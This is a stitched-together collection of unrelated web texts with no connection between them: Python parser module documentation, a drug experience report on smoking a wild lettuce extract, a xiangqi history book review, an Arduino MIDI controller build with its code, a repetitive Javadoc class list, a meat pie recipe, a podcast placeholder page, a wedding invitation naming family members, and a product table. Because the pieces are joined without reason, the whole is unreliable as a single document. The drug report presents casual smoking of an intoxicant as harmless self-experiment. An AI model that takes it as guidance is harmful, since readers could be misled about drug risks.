exception
parser.
ParserError
¶ Bases:
Exception
-
parser.
STType
¶ alias of
parser.st
-
parser.
compilest
()¶ Compiles an ST object into a code object.
-
parser.
expr
()¶ Creates an ST object from an expression.
-
parser.
isexpr
()¶ Determines if an ST object was created from an expression.
-
parser.
issuite
()¶ Determines if an ST object was created from a suite.
-
parser.
sequence2st
()¶ Creates an ST object from a tree representation.
-
parser.
st2list
()¶ Creates a list-tree representation of an ST.
-
parser.
st2tuple
()¶ Creates a tuple-tree representation of an ST.
-
parser.
suite
()¶ Creates an ST object from a suite.
-
parser.
tuple2st
()¶ Creates an ST object from a tree representation.


Lactuca - L. virosa
So, in my never ending quest to find other things to occupy my mind with, I happened upon many reports of a 'Wild Lettuce Opium'. Now, I have seen the 'Budz' and other such clones and hybrids of this stuff, even tried a few but to no avail. It was hard to tell if we were dizzy from smoke inhalation or from an actual effect of the substance. Then I discovered a place where I can order pretty high potency extracts of the Lettuce. So, I ordered some.(Hey for $6.50 a gram it seemed like an acceptable loss even if it sucked.)
We the other day my package arrived with a little baggie containing an almost hash-like substance that was hard, a medium shade of brown, and not sticky or greasy like I had imagined. It was a lot like marijuana resin from the bowl of a well used pipe.
I flamed it directly, it took a few seconds of direct heat to get burning, once it was going I drew in a hit. It was smooth and easy to manage in my lungs. I took a few hits from the pipe one after the next, until the little pea was just an ash. I sat back and waited for five minutes. Nothing really obvious at this point, so I decided to try another little piece.
Same process, about a pea sized piece, smoked down in a few back to back hits, sat back for a few minutes. Still, apparently nothing. I got up and decided to walk home (I have stuff shipped to my work).
As soon as I stood up, it became apparent that there WERE actually effects taking place. My coordination was a little less than accurate, I felt a little off center and wobbly. As I walked I became aware that I was actually fairly high from the 8-10 hits I had taken. It felt fairly similar to a marijuana high, but pretty much a body buzz. Not a kind bud sort of buzz but much more like I had smoked some brown-bud an hour or so before that.
It was mellow and totally manageable. No marijuana like paranoia or unsociability like I sometimes get. The total experience peaked in about 15-20 minutes and tappered off over the next two-three hours returning me to absolute baseline after that. I had experienced something similar with 'Sopium' a few years earlier after a Rat Dog show.
I am glad that I found this cheap and interesting extract. I am not usually one who bothers with stuff like this but, all in the name of science! I will repeat this experience again...
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Some Quick Thoughts on Understanding the Elephant: Part 1
Understanding the Elephant: A Xiangqi Primer Part 1: History of Xiangqi written by Jim Png is one of the many books on Xiangqi (Chinese Chess) from this prolific author. He is also the creator and maintainer of xqinenglish.com, a site dedicated to the game. Just after a few paragraphs into the book, you can really get a sense of the passion and dedication he has for Xiangqi. The book itself is split up into 3 sections: history, famous players and folk lore.
The first and very dense portion of the book is meant to present evidence of the possible Chinese origin of chess. It is a popular belief that chess came from India due to H.J.R. Murray’s ideas presented in his canonical book, The History of Chess. Png challenges some of these ideas due to the fact that Murray studied Arabic and was able to research Arabic sources in great detail. He also mentions an absence of research of Chinese literature due to Murray’s own lack of knowledge of Chinese. It is definitely an interesting point. Png continues by presenting a ton of references of ancient Chinese poems and literature as well as taking a closer look at the kanji characters that are on Xiangqi pieces.
The second section of the book tells many tales of famous Xiangqi players. Although some of the stories were interesting, to be honest I mostly skimmed through this part.
The last and final section tells some of the folk lore and myths surrounding Xiangqi. This doesn’t really present necessarily evidence about the origin story, but does indicate that Xiangqi has been around long enough to have myths and folklore.
Overall, this was a fun book to go through. It’s a bit of a misnomer to call it a “primer” since it doesn’t really even tell how to play the game. This series of books is certainly a labor of love and Png believes that anyone that loves a subject enough would want to know more about its history. The result is this part 1 of the “primer” series. In my opinion, this book is solidly in the “for chess history buffs” category and I would recommend it to anyone who is interested in seeing the chess origin story from a different point of view.


I had a couple of these nuts and bolts storage boxes lying around and they seemed to be the perfect size for this tiny beast.
Drilled out three different types of holes for the potentiometers, push buttons and LED's.
Testing if all the components will fit in their predetermined holes.
An Arduino Nano clone provides the interface between the PC and the physical device. With 14 digital and 10 analogue pins - every component can be connected directly to the microcontroller.
The top left describes how the potentiometers are connected to nano - The GPIO will read a voltage between 0-5V and convert this into a digital value between 0-1023.
The top right shows the push button - when open the 5V supply will go straight to ground through a 10K resistor, when pressed, current flows straight through to an input pin on the nano which we can read.
The bottom schematic is an LED connected to a current limiting resistor - 220Ω was chosen. Since it is connected to a GPIO pin it can be switched on and off on command.
An example push button wired up, ready to be placed in the enclosure and connected to the nano.
The potentiometers are all held in place using a nut, whereas the push buttons and LED's had to be secured using hot glue.
The Arduino Nano sits in the centre of the case, wedged between the sides.
There are a lot of wires to deal with in a very small space.
Very messy!
Everything is connected and enclosed but the knobs and buttons aren't fun to press!
Stuck some arcade style buttons on and brushed aluminium knobs onto two of the pots.
The plan was to build a very cheap and portable DJ Controller.
The result - three potentiometers, six push buttons and four LED's which are all user configurable.
I quickly hacked together some Arduino code to read all the inputs and send changes as MIDI commands over the USB port (serial). The code is as follows:
// Based on http://www.instructables.com/id/Easy-3-Pot-Potentiometer-Arduino-Uno-Effects-Midi-/step4/The-Code/
// Current and previous value of all three potentionmeters
int pots[3][2] = { {0,0}, {0,0}, {0,0} };
// All button states (1 = has been pressed down, 0 = released/not pressed)
int state[6] = {0,0,0,0,0,0};
void setup() {
Serial.begin(57600); // Set the speed of the midi port to the same as we will be using in the Hairless Midi software
digitalWrite(3,HIGH);
digitalWrite(4,HIGH);
digitalWrite(5,HIGH);
digitalWrite(6,HIGH);
}
void loop() {
// Left bass
handlePot(3,1);
// Right bass
handlePot(6,2);
// Crossfader
handlePot(5,3);
//left white
handleButt(9,0);
//left red
handleButt(8,1);
//left blue
handleButt(7,2);
// right blue
handleButt(12,3);
//right red
handleButt(10,4);
//right white
handleButt(11,5);
delay(10); //here we add a short delay to help prevent slight fluctuations, knocks on the pots etc. Adding this helped to prevent my pots from jumpin up or down a value when slightly touched or knocked.
}
// Sends a MIDI message to control channel "number" on any pot change on physical "pin"
inline void handlePot(int pin, int number) {
pots[number-1][0] = (1023-analogRead(pin))/8; // inverse value and decrese
if (pots[number-1][0] != pots[number-1][1]) { // Only send if change
MIDImessage(176,number,pots[number-1][0]); // 176 = CC command (channel 1 control change), 1 = Which Control, val = value read from Potentionmeter 1
}
pots[number-1][1] = pots[number-1][0];
}
// Sends a MIDI message to "number" for any full press on physical "pin"
inline void handleButt(int pin, int number) {
if (digitalRead(pin) == HIGH) {
state[number] = 1;
} else {
if(state[number] == 1) {
MIDImessage(144,number,127);
state[number] = 0;
}
}
}
void MIDImessage(byte command, byte data1, byte data2) //pass values out through standard Midi Command
{
Serial.write(command);
Serial.write(data1);
Serial.write(data2);
}
Most music software supports contollers using the MIDI interface - unfortunately we only have access to a serial port using USB so a couple of utilities are required to trick the operating system to thinking we have a real MIDI device.
LoopBe1: Creates a fake MIDI port which music software can listen to.
Hairless MIDI: Reads a serial port and converts messages to MIDI which LoopBe1 can read
Mapped the MIDI controls to various controls in Mixxx.
The mapping file can be found here


| Class and Description |
|---|
| NoteStoringImmutableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteContentRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the content of a note.
|
| NoteRenderingPreProcessorException
Thrown to indicate that a rendering pre-processor failed to process a note.
|
| Class and Description |
|---|
| NoteStoringImmutableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteContentRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the content of a note.
|
| NoteMetadataRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the metadata of a note.
|
| NoteStoringEditableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringImmutableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringPostProcessor
Component for processing a note after it was created or updated.
|
| Class and Description |
|---|
| NoteMetadataRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the metadata of a note.
|
| Class and Description |
|---|
| NoteContentRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the content of a note.
|
| NoteRenderingPreProcessorException
Thrown to indicate that a rendering pre-processor failed to process a note.
|
| Class and Description |
|---|
| NoteContentRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the content of a note.
|
| NoteMetadataRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the metadata of a note.
|
| NoteRenderingPreProcessorException
Thrown to indicate that a rendering pre-processor failed to process a note.
|
| NoteStoringEditableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringImmutableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringPostProcessor
Component for processing a note after it was created or updated.
|
| NoteStoringPostProcessorContext
Holds context data which should be shared between different NoteStoringPostProcessor extensions.
|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteContentRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the content of a note.
|
| NoteMetadataRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the metadata of a note.
|
| NoteRenderingPreProcessorException
Thrown to indicate that a rendering pre-processor failed to process a note.
|
| NoteStoringEditableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringImmutableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringPostProcessor
Component for processing a note after it was created or updated.
|
| NoteStoringPostProcessorContext
Holds context data which should be shared between different NoteStoringPostProcessor extensions.
|
| NoteStoringPostProcessorManager
Extension point for adding components which can process a note after it was stored.
|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| NoteStoringPreProcessorManager
Extension point for registering processors to manipulate notes before they are persisted.
|
| Class and Description |
|---|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteContentRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the content of a note.
|
| NoteMetadataRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the metadata of a note.
|
| NoteRenderingPreProcessorException
Thrown to indicate that a rendering pre-processor failed to process a note.
|
| NoteRenderingPreProcessorManager
An extension point that allows transient modification of a note before it is rendered.
|
| Class and Description |
|---|
| NoteContentRenderingPreProcessor
This pre-processor is called before a note is rendered and thus provides a flexible way for
making additional modifications to the content of a note.
|
| NoteRenderingPreProcessorException
Thrown to indicate that a rendering pre-processor failed to process a note.
|
| NoteStoringEditableContentPreProcessor
A preprocessor which is invoked before storing a note.
|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
| Class and Description |
|---|
| NoteStoringPreProcessorException
Thrown by NoteStoringPreProcessors to indicate that the pre-processing failed.
|
Copyright © 2019 Communote team. All rights reserved.


Preparation time
overnight
Cooking time
over 2 hours
Serves
Makes 6
This is a traditional Luxembourg dish – a wonderful meat pie into which a fragrant Riesling jelly is poured and left to set. We were very keen to track down this recipe, as when Dave worked in Luxembourg for a couple of years a while back, he used to eat one of these pies for his lunch every day.
For the filling, mix the beef and pork mince with the carrots, onion, parsley, marjoram, salt and freshly ground black pepper. Stir in the brandy, cover and chill for 2–3 hours, or overnight.
To make the pastry, melt the butter over a low heat, then set aside to cool for a few minutes.
Put the flour in a large bowl and stir in the salt. Beat the egg and egg yolk with the water in a separate bowl. Stir the eggs and water into the flour, then gradually add the melted butter and form into a ball. Put this in a bowl and leave to rest for 2 hours.
Divide the pastry into 6 portions and roll them out into rectangles measuring about 18 x 20cm. Trim them neatly and keep the trimmings to make pastry chimneys. Divide the mince mixture into 6 sausage shapes and place 1 sausage in the centre of each piece of pastry. Brush the edges lightly with beaten egg.
Fold up the 2 short sides of the pastry and then bring the long sides up and over the filling to enclose and fully seal the meat inside. Turn the parcel over, with the edges underneath, and place it on a baking tray lined with baking parchment. Very lightly score the pastry with the point of a sharp knife – don’t go too deep or the pastry will split when it bakes. Repeat with the remaining filling and pastry.
Preheat the oven to 180C/350F/Gas 4.
Using the point of a knife, make a small hole in the centre of each parcel and enlarge the hole with the tip of your little finger. Roll out the pastry trimmings and cut into strips about 1.5cm wide. Roll these around your little finger, then place a rolled strip in each hole to make a ‘chimney’, rising roughly 1cm out of the pastry. Brush generously with beaten egg and bake for 45 minutes. Remove from the oven and leave to cool.
Put the gelatine sheets in a bowl of cold water and leave them for 5 minutes until softened, then squeeze out the excess water over the sink. Meanwhile, heat the wine very gently until just warm enough to melt the gelatine, plop the squeezed gelatine sheets into the warm wine and stir until dissolved. Transfer the mixture to a jug and leave to cool.
Put a small plastic funnel in one of the pastry ‘chimneys’ and pour the wine into the pie. Take it slowly and let the wine find its way through the pie for a few seconds before adding more. Stop when the wine reaches halfway up the chimney. Repeat with all the pies.
Put in the fridge and leave to set for at least 3 hours.


instagr.am/goingpodcast
twitter.com/goingpodcast
facebook.com/goingpodcast
While we are in beta, you can show your support by following us on the social networks shown above, and by subscribing to our newsletter.
Thank you for visiting us!
To be notified when we launch the podcast in the coming weeks, please SUBSCRIBE TO OUR NEWSLETTER!
You may also contact us at goingpodcast@gmail.com


Reddy Samudaya Bhavana, Turuvanuru Road, NH Service Rd, Bank Colony, Chitradurga, Karnataka 577501
You are and your family cordially invited to celebrate our wedding
S\O Smt.H Y Vijayalaxmi & Sri. R Shankarmurthy (Rtd.SelectionGrade Lecturer SJM Polytechnic) Chitradurga, Karnataka
D\O Smt.G.Hemalatha & G.Jagadhisa Sai Assitsant Divisional Engineer, S.W.Railway Bangaluru, Karnataka
Far far away, behind the word mountains, far from the States Chitradurga,Karnataka and KalayanaDurga Andrapradesh
Remembering the first day I met.... i just felt like meeting my long lost friend 😋 it was a magical moment to cherish throughout my life... ☺
which one over which one... happiness or sadness... ☺ mixture of emotions 🥰 first step to connect in a wonderful journey.. It’s a journey to the new nest of us.... just a thought of being together makes me excited. 😁
I still remember those confused faces looking at US... but the confidence of sitting next to my Man calmed me down 🥰... sometimes we get attached to some people so much that it’s difficult to stop thinking about him. You are the person who will make me forget about yesterday and dream about tomorrow...
AkashaGiri


Categories of products
List of products
category code
Category name
Quantity of goods
Add category
1
Zoo products
2
Edit

Delete
2
Sports products
1
Edit

Delete